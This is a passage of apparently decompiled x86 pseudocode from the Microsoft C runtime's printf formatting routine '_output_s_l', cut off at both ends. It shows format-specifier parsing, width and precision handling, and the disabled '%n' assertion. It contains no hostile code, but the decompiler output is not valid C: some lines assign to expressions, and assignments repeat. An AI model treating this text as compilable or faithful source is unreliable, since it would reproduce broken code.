														__eflags =  *(_t557 - 0x318) - 7;
														if( *(_t557 - 0x318) > 7) {
															continue;
														}
														L17:
														switch( *((intOrPtr*)( *(_t557 - 0x318) * 4 +  &M00435580))) {
															case 0:
																L18:
																 *(_t557 - 0xc) = 0;
																_t509 = E00431230( *(_t557 - 0x251) & 0x000000ff, E0041AE60(_t557 - 0x40));
																_t562 = _t559 + 8;
																__eflags = _t509;
																if(_t509 == 0) {
																	L24:
																	E00435690( *(_t557 - 0x251) & 0x000000ff,  *(_t557 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t557 + 8)), _t557 - 0x24c);
																	_t559 = _t562 + 0xc;
																	goto L218;
																} else {
																	E00435690( *((intOrPtr*)(_t557 + 8)),  *(_t557 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t557 + 8)), _t557 - 0x24c);
																	_t562 = _t562 + 0xc;
																	_t541 =  *( *(_t557 + 0xc));
																	 *(_t557 - 0x251) =  *( *(_t557 + 0xc));
																	_t547 =  *(_t557 + 0xc) + 1;
																	__eflags = _t547;
																	 *(_t557 + 0xc) = _t547;
																	asm("sbb eax, eax");
																	 *(_t557 - 0x27c) =  ~( ~( *(_t557 - 0x251)));
																	if(_t547 == 0) {
																		_push(L"(ch != _T(\'\\0\'))");
																		_push(0);
																		_push(0x486);
																		_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																		_push(2);
																		_t521 = L0041E390();
																		_t562 = _t562 + 0x14;
																		__eflags = _t521 - 1;
																		if(_t521 == 1) {
																			asm("int3");
																		}
																	}
																	L22:
																	__eflags =  *(_t557 - 0x27c);
																	if( *(_t557 - 0x27c) != 0) {
																		goto L24;
																	} else {
																		 *((intOrPtr*)(L00422E80(_t541))) = 0x16;
																		E00422C10(_t528, _t541, _t555, _t556, L"(ch != _T(\'\\0\'))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x486, 0);
																		 *(_t557 - 0x2f4) = 0xffffffff;
																		E0041AE30(_t557 - 0x40);
																		_t499 =  *(_t557 - 0x2f4);
																		goto L229;
																	}
																}
															case 1:
																L25:
																 *(__ebp - 0x2c) = 0;
																__edx =  *(__ebp - 0x2c);
																 *(__ebp - 0x28) =  *(__ebp - 0x2c);
																__eax =  *(__ebp - 0x28);
																 *(__ebp - 0x18) =  *(__ebp - 0x28);
																__ecx =  *(__ebp - 0x18);
																 *(__ebp - 0x1c) = __ecx;
																 *(__ebp - 0x10) = 0;
																 *(__ebp - 0x30) = 0xffffffff;
																 *(__ebp - 0xc) = 0;
																goto L218;
															case 2:
																L26:
																__edx =  *((char*)(__ebp - 0x251));
																 *(__ebp - 0x31c) =  *((char*)(__ebp - 0x251));
																 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
																 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
																__eflags =  *(__ebp - 0x31c) - 0x10;
																if( *(__ebp - 0x31c) > 0x10) {
																	goto L33;
																}
																L27:
																__ecx =  *(__ebp - 0x31c);
																_t72 = __ecx + 0x4355b8; // 0x498d04
																__edx =  *_t72 & 0x000000ff;
																switch( *((intOrPtr*)(( *_t72 & 0x000000ff) * 4 +  &M004355A0))) {
																	case 0:
																		goto L30;
																	case 1:
																		goto L31;
																	case 2:
																		goto L29;
																	case 3:
																		goto L28;
																	case 4:
																		goto L32;
																	case 5:
																		goto L33;
																}
															case 3:
																L34:
																__edx =  *((char*)(__ebp - 0x251));
																__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
																if( *((char*)(__ebp - 0x251)) != 0x2a) {
																	__eax =  *(__ebp - 0x18);
																	__eax =  *(__ebp - 0x18) * 0xa;
																	__eflags = __eax;
																	__ecx =  *((char*)(__ebp - 0x251));
																	_t96 = __ecx - 0x30; // -48
																	__edx = __eax + _t96;
																	 *(__ebp - 0x18) = __eax + _t96;
																} else {
																	__eax = __ebp + 0x14;
																	 *(__ebp - 0x18) = E00428370(__ebp + 0x14);
																	__eflags =  *(__ebp - 0x18);
																	if( *(__ebp - 0x18) < 0) {
																		__ecx =  *(__ebp - 0x10);
																		__ecx =  *(__ebp - 0x10) | 0x00000004;
																		__eflags = __ecx;
																		 *(__ebp - 0x10) = __ecx;
																		 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																		 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																	}
																}
																goto L218;
															case 4:
																L40:
																 *(__ebp - 0x30) = 0;
																goto L218;
															case 5:
																L41:
																__eax =  *((char*)(__ebp - 0x251));
																__eflags =  *((char*)(__ebp - 0x251)) - 0x2a;
																if( *((char*)(__ebp - 0x251)) != 0x2a) {
																	__edx =  *(__ebp - 0x30);
																	__edx =  *(__ebp - 0x30) * 0xa;
																	__eflags = __edx;
																	_t107 =  *((char*)(__ebp - 0x251)) - 0x30; // -48
																	__ecx = __edx + _t107;
																	 *(__ebp - 0x30) = __ecx;
																} else {
																	__ecx = __ebp + 0x14;
																	 *(__ebp - 0x30) = E00428370(__ebp + 0x14);
																	__eflags =  *(__ebp - 0x30);
																	if( *(__ebp - 0x30) < 0) {
																		 *(__ebp - 0x30) = 0xffffffff;
																	}
																}
																goto L218;
															case 6:
																L47:
																__edx =  *((char*)(__ebp - 0x251));
																 *(__ebp - 0x320) =  *((char*)(__ebp - 0x251));
																 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
																 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
																__eflags =  *(__ebp - 0x320) - 0x2e;
																if( *(__ebp - 0x320) > 0x2e) {
																	L70:
																	goto L218;
																}
																L48:
																__ecx =  *(__ebp - 0x320);
																_t115 = __ecx + 0x4355e0; // 0x4dee9003
																__edx =  *_t115 & 0x000000ff;
																switch( *((intOrPtr*)(( *_t115 & 0x000000ff) * 4 +  &M004355CC))) {
																	case 0:
																		L53:
																		__edx =  *(__ebp + 0xc);
																		__eax =  *( *(__ebp + 0xc));
																		__eflags =  *( *(__ebp + 0xc)) - 0x36;
																		if( *( *(__ebp + 0xc)) != 0x36) {
																			L56:
																			__edx =  *(__ebp + 0xc);
																			__eax =  *( *(__ebp + 0xc));
																			__eflags =  *( *(__ebp + 0xc)) - 0x33;
																			if( *( *(__ebp + 0xc)) != 0x33) {
																				L59:
																				__edx =  *(__ebp + 0xc);
																				__eax =  *( *(__ebp + 0xc));
																				__eflags =  *( *(__ebp + 0xc)) - 0x64;
																				if( *( *(__ebp + 0xc)) == 0x64) {
																					L65:
																					L67:
																					goto L70;
																				}
																				L60:
																				__ecx =  *(__ebp + 0xc);
																				__edx =  *__ecx;
																				__eflags =  *__ecx - 0x69;
																				if( *__ecx == 0x69) {
																					goto L65;
																				}
																				L61:
																				__eax =  *(__ebp + 0xc);
																				__ecx =  *( *(__ebp + 0xc));
																				__eflags = __ecx - 0x6f;
																				if(__ecx == 0x6f) {
																					goto L65;
																				}
																				L62:
																				__edx =  *(__ebp + 0xc);
																				__eax =  *( *(__ebp + 0xc));
																				__eflags =  *( *(__ebp + 0xc)) - 0x75;
																				if( *( *(__ebp + 0xc)) == 0x75) {
																					goto L65;
																				}
																				L63:
																				__ecx =  *(__ebp + 0xc);
																				__edx =  *__ecx;
																				__eflags =  *__ecx - 0x78;
																				if( *__ecx == 0x78) {
																					goto L65;
																				}
																				L64:
																				__eax =  *(__ebp + 0xc);
																				__ecx =  *( *(__ebp + 0xc));
																				__eflags = __ecx - 0x58;
																				if(__ecx != 0x58) {
																					 *(__ebp - 0x25c) = 0;
																					goto L18;
																				}
																				goto L65;
																			}
																			L57:
																			__ecx =  *(__ebp + 0xc);
																			__edx =  *((char*)(__ecx + 1));
																			__eflags =  *((char*)(__ecx + 1)) - 0x32;
																			if( *((char*)(__ecx + 1)) != 0x32) {
																				goto L59;
																			} else {
																				 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																				 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																				__ecx =  *(__ebp - 0x10);
																				__ecx =  *(__ebp - 0x10) & 0xffff7fff;
																				 *(__ebp - 0x10) = __ecx;
																				goto L67;
																			}
																		}
																		L54:
																		__ecx =  *(__ebp + 0xc);
																		__edx =  *((char*)(__ecx + 1));
																		__eflags =  *((char*)(__ecx + 1)) - 0x34;
																		if( *((char*)(__ecx + 1)) != 0x34) {
																			goto L56;
																		} else {
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) | 0x00008000;
																			 *(__ebp - 0x10) = __ecx;
																			goto L67;
																		}
																	case 1:
																		L68:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																		goto L70;
																	case 2:
																		L49:
																		__eax =  *(__ebp + 0xc);
																		__ecx =  *( *(__ebp + 0xc));
																		__eflags = __ecx - 0x6c;
																		if(__ecx != 0x6c) {
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) | 0x00000010;
																			__eflags = __ecx;
																			 *(__ebp - 0x10) = __ecx;
																		} else {
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																			 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																		}
																		goto L70;
																	case 3:
																		L69:
																		__eax =  *(__ebp - 0x10);
																		__eax =  *(__ebp - 0x10) | 0x00000800;
																		__eflags = __eax;
																		 *(__ebp - 0x10) = __eax;
																		goto L70;
																	case 4:
																		goto L70;
																}
															case 7:
																L71:
																__ecx =  *((char*)(__ebp - 0x251));
																 *(__ebp - 0x324) = __ecx;
																 *(__ebp - 0x324) =  *(__ebp - 0x324) - 0x41;
																 *(__ebp - 0x324) =  *(__ebp - 0x324) - 0x41;
																__eflags =  *(__ebp - 0x324) - 0x37;
																if( *(__ebp - 0x324) > 0x37) {
																	while(1) {
																		L190:
																		__eflags =  *(__ebp - 0x28);
																		if( *(__ebp - 0x28) != 0) {
																			goto L216;
																		}
																		goto L191;
																	}
																}
																L72:
																_t156 =  *(__ebp - 0x324) + 0x43564c; // 0xcccccc0d
																__ecx =  *_t156 & 0x000000ff;
																switch( *((intOrPtr*)(__ecx * 4 +  &M00435610))) {
																	case 0:
																		L123:
																		 *(__ebp - 0x2c) = 1;
																		__ecx =  *((char*)(__ebp - 0x251));
																		__ecx =  *((char*)(__ebp - 0x251)) + 0x20;
																		__eflags = __ecx;
																		 *((char*)(__ebp - 0x251)) = __cl;
																		goto L124;
																	case 1:
																		L73:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																		__eflags =  *(__ebp - 0x10) & 0x00000830;
																		if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																			__eax =  *(__ebp - 0x10);
																			__eax =  *(__ebp - 0x10) | 0x00000800;
																			__eflags = __eax;
																			 *(__ebp - 0x10) = __eax;
																		}
																		goto L75;
																	case 2:
																		L88:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000830;
																		__eflags =  *(__ebp - 0x10) & 0x00000830;
																		if(( *(__ebp - 0x10) & 0x00000830) == 0) {
																			__ecx =  *(__ebp - 0x10);
																			__ecx =  *(__ebp - 0x10) | 0x00000800;
																			__eflags = __ecx;
																			 *(__ebp - 0x10) = __ecx;
																		}
																		goto L90;
																	case 3:
																		L147:
																		 *(__ebp - 0x260) = 7;
																		L148:
																		 *(__ebp - 8) = 0x10;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																		__eflags =  *(__ebp - 0x10) & 0x00000080;
																		if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																			 *(__ebp - 0x14) = 0x30;
																			 *(__ebp - 0x260) =  *(__ebp - 0x260) + 0x51;
																			__eflags =  *(__ebp - 0x260) + 0x51;
																			 *((char*)(__ebp - 0x13)) = __al;
																			 *(__ebp - 0x1c) = 2;
																		}
																		goto L153;
																	case 4:
																		L81:
																		__eax = __ebp + 0x14;
																		 *(__ebp - 0x288) = E00428370(__ebp + 0x14);
																		__eflags =  *(__ebp - 0x288);
																		if( *(__ebp - 0x288) == 0) {
																			L83:
																			__edx =  *0x440f80; // 0x404448
																			 *(__ebp - 4) = __edx;
																			__eax =  *(__ebp - 4);
																			 *(__ebp - 0x24) = E0041DE30( *(__ebp - 4));
																			L87:
																			goto L190;
																		}
																		L82:
																		__ecx =  *(__ebp - 0x288);
																		__eflags =  *(__ecx + 4);
																		if( *(__ecx + 4) != 0) {
																			L84:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000800;
																			__eflags =  *(__ebp - 0x10) & 0x00000800;
																			if(( *(__ebp - 0x10) & 0x00000800) == 0) {
																				 *(__ebp - 0xc) = 0;
																				__edx =  *(__ebp - 0x288);
																				__eax =  *(__edx + 4);
																				 *(__ebp - 4) =  *(__edx + 4);
																				__ecx =  *(__ebp - 0x288);
																				__edx =  *__ecx;
																				 *(__ebp - 0x24) =  *__ecx;
																			} else {
																				__edx =  *(__ebp - 0x288);
																				__eax =  *(__edx + 4);
																				 *(__ebp - 4) =  *(__edx + 4);
																				__ecx =  *(__ebp - 0x288);
																				__eax =  *__ecx;
																				asm("cdq");
																				 *__ecx - __edx =  *__ecx - __edx >> 1;
																				 *(__ebp - 0x24) =  *__ecx - __edx >> 1;
																				 *(__ebp - 0xc) = 1;
																			}
																			goto L87;
																		}
																		goto L83;
																	case 5:
																		L124:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																		__eax = __ebp - 0x248;
																		 *(__ebp - 4) = __ebp - 0x248;
																		 *(__ebp - 0x44) = 0x200;
																		__eflags =  *(__ebp - 0x30);
																		if( *(__ebp - 0x30) >= 0) {
																			L126:
																			__eflags =  *(__ebp - 0x30);
																			if( *(__ebp - 0x30) != 0) {
																				L129:
																				__eflags =  *(__ebp - 0x30) - 0x200;
																				if( *(__ebp - 0x30) > 0x200) {
																					 *(__ebp - 0x30) = 0x200;
																				}
																				L131:
																				__eflags =  *(__ebp - 0x30) - 0xa3;
																				if( *(__ebp - 0x30) > 0xa3) {
																					 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																					 *(__ebp - 0x20) = L0041B8D0(__ecx,  *(__ebp - 0x30) + 0x15d, 2, "f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x6da);
																					__eflags =  *(__ebp - 0x20);
																					if( *(__ebp - 0x20) == 0) {
																						 *(__ebp - 0x30) = 0xa3;
																					} else {
																						__eax =  *(__ebp - 0x20);
																						 *(__ebp - 4) =  *(__ebp - 0x20);
																						 *(__ebp - 0x30) =  *(__ebp - 0x30) + 0x15d;
																						 *(__ebp - 0x44) =  *(__ebp - 0x30) + 0x15d;
																					}
																				}
																				 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																				 *(__ebp + 0x14) =  *(__ebp + 0x14) + 8;
																				__eax =  *(__ebp + 0x14);
																				__ecx =  *(__eax - 8);
																				__edx =  *(__eax - 4);
																				 *(__ebp - 0x2a8) =  *(__eax - 8);
																				 *(__ebp - 0x2a4) =  *(__eax - 4);
																				__ecx = __ebp - 0x40;
																				_push(E0041AE60(__ebp - 0x40));
																				__eax =  *(__ebp - 0x2c);
																				_push( *(__ebp - 0x2c));
																				__ecx =  *(__ebp - 0x30);
																				_push( *(__ebp - 0x30));
																				__edx =  *((char*)(__ebp - 0x251));
																				_push( *((char*)(__ebp - 0x251)));
																				__eax =  *(__ebp - 0x44);
																				_push( *(__ebp - 0x44));
																				__ecx =  *(__ebp - 4);
																				_push( *(__ebp - 4));
																				__edx = __ebp - 0x2a8;
																				_push(__ebp - 0x2a8);
																				__eax =  *0x440374; // 0xf86dff92
																				__eax =  *__eax();
																				__esp = __esp + 0x1c;
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																				__eflags =  *(__ebp - 0x10) & 0x00000080;
																				if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																					__eflags =  *(__ebp - 0x30);
																					if( *(__ebp - 0x30) == 0) {
																						__ecx = __ebp - 0x40;
																						_push(E0041AE60(__ebp - 0x40));
																						__edx =  *(__ebp - 4);
																						_push( *(__ebp - 4));
																						__eax =  *0x440380; // 0xa86dfc78
																						__eax =  *__eax();
																						__esp = __esp + 8;
																					}
																				}
																				__ecx =  *((char*)(__ebp - 0x251));
																				__eflags =  *((char*)(__ebp - 0x251)) - 0x67;
																				if( *((char*)(__ebp - 0x251)) == 0x67) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																					__eflags =  *(__ebp - 0x10) & 0x00000080;
																					if(( *(__ebp - 0x10) & 0x00000080) == 0) {
																						__ecx = __ebp - 0x40;
																						_push(E0041AE60(__ebp - 0x40));
																						__eax =  *(__ebp - 4);
																						_push( *(__ebp - 4));
																						__ecx =  *0x44037c; // 0x886dfc7f
																						E004246D0(__ecx) =  *__eax();
																						__esp = __esp + 8;
																					}
																				}
																				__edx =  *(__ebp - 4);
																				__eax =  *( *(__ebp - 4));
																				__eflags =  *( *(__ebp - 4)) - 0x2d;
																				if( *( *(__ebp - 4)) == 0x2d) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000100;
																					__edx =  *(__ebp - 4);
																					__edx =  *(__ebp - 4) + 1;
																					__eflags = __edx;
																					 *(__ebp - 4) = __edx;
																				}
																				__eax =  *(__ebp - 4);
																				 *(__ebp - 0x24) = E0041DE30( *(__ebp - 4));
																				do {
																					L190:
																					__eflags =  *(__ebp - 0x28);
																					if( *(__ebp - 0x28) != 0) {
																						goto L216;
																					}
																					goto L191;
																				} while ( *(__ebp - 0x324) > 0x37);
																				goto L72;
																			}
																			L127:
																			__ecx =  *((char*)(__ebp - 0x251));
																			__eflags = __ecx - 0x67;
																			if(__ecx != 0x67) {
																				goto L129;
																			}
																			L128:
																			 *(__ebp - 0x30) = 1;
																			goto L131;
																		}
																		L125:
																		 *(__ebp - 0x30) = 6;
																		goto L131;
																	case 6:
																		L75:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																		__eflags =  *(__ebp - 0x10) & 0x00000810;
																		if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																			__ebp + 0x14 = E00428370(__ebp + 0x14);
																			 *(__ebp - 0x284) = __ax;
																			__cl =  *(__ebp - 0x284);
																			 *(__ebp - 0x248) = __cl;
																			 *(__ebp - 0x24) = 1;
																		} else {
																			 *(__ebp - 0x280) = 0;
																			__edx = __ebp + 0x14;
																			__eax = E004283B0(__ebp + 0x14);
																			 *(__ebp - 0x258) = __ax;
																			__eax =  *(__ebp - 0x258) & 0x0000ffff;
																			__ecx = __ebp - 0x248;
																			__edx = __ebp - 0x24;
																			 *(__ebp - 0x280) = E00434240(__ebp - 0x24, __ebp - 0x248, 0x200,  *(__ebp - 0x258) & 0x0000ffff);
																			__eflags =  *(__ebp - 0x280);
																			if( *(__ebp - 0x280) != 0) {
																				 *(__ebp - 0x28) = 1;
																			}
																		}
																		__edx = __ebp - 0x248;
																		 *(__ebp - 4) = __ebp - 0x248;
																		while(1) {
																			L190:
																			__eflags =  *(__ebp - 0x28);
																			if( *(__ebp - 0x28) != 0) {
																				goto L216;
																			}
																			goto L191;
																		}
																	case 7:
																		L144:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000040;
																		 *(__ebp - 8) = 0xa;
																		L153:
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																		__eflags =  *(__ebp - 0x10) & 0x00008000;
																		if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																			__eflags =  *(__ebp - 0x10) & 0x00001000;
																			if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																				__eflags =  *(__ebp - 0x10) & 0x00000020;
																				if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																					__eflags =  *(__ebp - 0x10) & 0x00000040;
																					if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																						__ecx = __ebp + 0x14;
																						__eax = E00428370(__ebp + 0x14);
																						__edx = 0;
																						__eflags = 0;
																						 *(__ebp - 0x2b8) = __eax;
																						 *(__ebp - 0x2b4) = 0;
																					} else {
																						__eax = __ebp + 0x14;
																						__eax = E00428370(__ebp + 0x14);
																						asm("cdq");
																						 *(__ebp - 0x2b8) = __eax;
																						 *(__ebp - 0x2b4) = __edx;
																					}
																				} else {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																					__eflags =  *(__ebp - 0x10) & 0x00000040;
																					if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																						__ecx = __ebp + 0x14;
																						E00428370(__ebp + 0x14) = __ax & 0x0000ffff;
																						asm("cdq");
																						 *(__ebp - 0x2b8) = __ax & 0x0000ffff;
																						 *(__ebp - 0x2b4) = __edx;
																					} else {
																						__eax = __ebp + 0x14;
																						__eax = E00428370(__ebp + 0x14);
																						__ax = __eax;
																						asm("cdq");
																						 *(__ebp - 0x2b8) = __eax;
																						 *(__ebp - 0x2b4) = __edx;
																					}
																				}
																			} else {
																				__eax = __ebp + 0x14;
																				 *(__ebp - 0x2b8) = E00428390(__ebp + 0x14);
																				 *(__ebp - 0x2b4) = __edx;
																			}
																		} else {
																			__ecx = __ebp + 0x14;
																			 *(__ebp - 0x2b8) = E00428390(__ebp + 0x14);
																			 *(__ebp - 0x2b4) = __edx;
																		}
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																		__eflags =  *(__ebp - 0x10) & 0x00000040;
																		if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																			goto L170;
																		}
																	case 8:
																		L109:
																		__ecx = __ebp + 0x14;
																		 *(__ebp - 0x298) = E00428370(__ebp + 0x14);
																		__eax = E00433F20();
																		__eflags = __eax;
																		if(__eax != 0) {
																			L119:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																			__eflags =  *(__ebp - 0x10) & 0x00000020;
																			if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																				__edx =  *(__ebp - 0x298);
																				__eax =  *(__ebp - 0x24c);
																				 *( *(__ebp - 0x298)) =  *(__ebp - 0x24c);
																			} else {
																				__eax =  *(__ebp - 0x298);
																				 *( *(__ebp - 0x298)) =  *(__ebp - 0x24c);
																			}
																			 *(__ebp - 0x28) = 1;
																			while(1) {
																				L190:
																				__eflags =  *(__ebp - 0x28);
																				if( *(__ebp - 0x28) != 0) {
																					goto L216;
																				}
																				goto L191;
																			}
																		}
																		L110:
																		__edx = 0;
																		__eflags = 0;
																		if(0 == 0) {
																			 *(__ebp - 0x32c) = 0;
																		} else {
																			 *(__ebp - 0x32c) = 1;
																		}
																		__eax =  *(__ebp - 0x32c);
																		 *(__ebp - 0x29c) =  *(__ebp - 0x32c);
																		__eflags =  *(__ebp - 0x29c);
																		if( *(__ebp - 0x29c) == 0) {
																			_push(L"(\"\'n\' format specifier disabled\", 0)");
																			_push(0);
																			_push(0x695);
																			_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																			_push(2);
																			__eax = L0041E390();
																			__esp = __esp + 0x14;
																			__eflags = __eax - 1;
																			if(__eax == 1) {
																				asm("int3");
																			}
																		}
																		__eflags =  *(__ebp - 0x29c);
																		if( *(__ebp - 0x29c) != 0) {
																			L118:
																			while(1) {
																				L190:
																				__eflags =  *(__ebp - 0x28);
																				if( *(__ebp - 0x28) != 0) {
																					goto L216;
																				}
																				goto L191;
																			}
																		} else {
																			L117:
																			 *((intOrPtr*)(L00422E80(__ecx))) = 0x16;
																			__eax = E00422C10(__ebx, __ecx, __edi, __esi, L"(\"\'n\' format specifier disabled\", 0)", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x695, 0);
																			 *(__ebp - 0x2f8) = 0xffffffff;
																			__ecx = __ebp - 0x40;
																			__eax = E0041AE30(__ecx);
																			__eax =  *(__ebp - 0x2f8);
																			goto L229;
																		}
																	case 9:
																		L151:
																		 *(__ebp - 8) = 8;
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000080;
																		__eflags =  *(__ebp - 0x10) & 0x00000080;
																		if(( *(__ebp - 0x10) & 0x00000080) != 0) {
																			__edx =  *(__ebp - 0x10);
																			__edx =  *(__ebp - 0x10) | 0x00000200;
																			__eflags = __edx;
																			 *(__ebp - 0x10) = __edx;
																		}
																		while(1) {
																			L153:
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00008000;
																			__eflags =  *(__ebp - 0x10) & 0x00008000;
																			if(( *(__ebp - 0x10) & 0x00008000) == 0) {
																				 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00001000;
																				__eflags =  *(__ebp - 0x10) & 0x00001000;
																				if(( *(__ebp - 0x10) & 0x00001000) == 0) {
																					 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000020;
																					__eflags =  *(__ebp - 0x10) & 0x00000020;
																					if(( *(__ebp - 0x10) & 0x00000020) == 0) {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																						__eflags =  *(__ebp - 0x10) & 0x00000040;
																						if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																							__ecx = __ebp + 0x14;
																							__eax = E00428370(__ebp + 0x14);
																							__edx = 0;
																							__eflags = 0;
																							 *(__ebp - 0x2b8) = __eax;
																							 *(__ebp - 0x2b4) = 0;
																						} else {
																							__eax = __ebp + 0x14;
																							__eax = E00428370(__ebp + 0x14);
																							asm("cdq");
																							 *(__ebp - 0x2b8) = __eax;
																							 *(__ebp - 0x2b4) = __edx;
																						}
																					} else {
																						 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																						__eflags =  *(__ebp - 0x10) & 0x00000040;
																						if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																							__ecx = __ebp + 0x14;
																							E00428370(__ebp + 0x14) = __ax & 0x0000ffff;
																							asm("cdq");
																							 *(__ebp - 0x2b8) = __ax & 0x0000ffff;
																							 *(__ebp - 0x2b4) = __edx;
																						} else {
																							__eax = __ebp + 0x14;
																							__eax = E00428370(__ebp + 0x14);
																							__ax = __eax;
																							asm("cdq");
																							 *(__ebp - 0x2b8) = __eax;
																							 *(__ebp - 0x2b4) = __edx;
																						}
																					}
																				} else {
																					__eax = __ebp + 0x14;
																					 *(__ebp - 0x2b8) = E00428390(__ebp + 0x14);
																					 *(__ebp - 0x2b4) = __edx;
																				}
																			} else {
																				__ecx = __ebp + 0x14;
																				 *(__ebp - 0x2b8) = E00428390(__ebp + 0x14);
																				 *(__ebp - 0x2b4) = __edx;
																			}
																			 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000040;
																			__eflags =  *(__ebp - 0x10) & 0x00000040;
																			if(( *(__ebp - 0x10) & 0x00000040) == 0) {
																				goto L170;
																			}
																			goto L166;
																		}
																	case 0xa:
																		L146:
																		 *(__ebp - 0x30) = 8;
																		goto L147;
																	case 0xb:
																		L90:
																		__eflags =  *(__ebp - 0x30) - 0xffffffff;
																		if( *(__ebp - 0x30) != 0xffffffff) {
																			__edx =  *(__ebp - 0x30);
																			 *(__ebp - 0x328) =  *(__ebp - 0x30);
																		} else {
																			 *(__ebp - 0x328) = 0x7fffffff;
																		}
																		__eax =  *(__ebp - 0x328);
																		 *(__ebp - 0x290) =  *(__ebp - 0x328);
																		__ecx = __ebp + 0x14;
																		 *(__ebp - 4) = E00428370(__ebp + 0x14);
																		 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000810;
																		__eflags =  *(__ebp - 0x10) & 0x00000810;
																		if(( *(__ebp - 0x10) & 0x00000810) == 0) {
																			L101:
																			__eflags =  *(__ebp - 4);
																			if( *(__ebp - 4) == 0) {
																				__edx =  *0x440f80; // 0x404448
																				 *(__ebp - 4) = __edx;
																			}
																			__eax =  *(__ebp - 4);
																			 *(__ebp - 0x28c) =  *(__ebp - 4);
																			while(1) {
																				L104:
																				__ecx =  *(__ebp - 0x290);
																				 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																				 *(__ebp - 0x290) =  *(__ebp - 0x290) - 1;
																				__eflags = __ecx;
																				if(__ecx == 0) {
																					break;
																				}
																				L105:
																				__eax =  *(__ebp - 0x28c);
																				__ecx =  *( *(__ebp - 0x28c));
																				__eflags = __ecx;
																				if(__ecx == 0) {
																					break;
																				}
																				L106:
																				 *(__ebp - 0x28c) =  *(__ebp - 0x28c) + 1;
																				 *(__ebp - 0x28c) =  *(__ebp - 0x28c) + 1;
																			}
																			L107:
																			__eax =  *(__ebp - 0x28c);
																			__eax =  *(__ebp - 0x28c) -  *(__ebp - 4);
																			__eflags = __eax;
																			 *(__ebp - 0x24) = __eax;
																			goto L108;
																		} else {
																			L94:
																			__eflags =  *(__ebp - 4);
																			if( *(__ebp - 4) == 0) {
																				__eax =  *0x440f84; // 0x404438
																				 *(__ebp - 4) = __eax;
																			}
																			 *(__ebp - 0xc) = 1;
																			__ecx =  *(__ebp - 4);
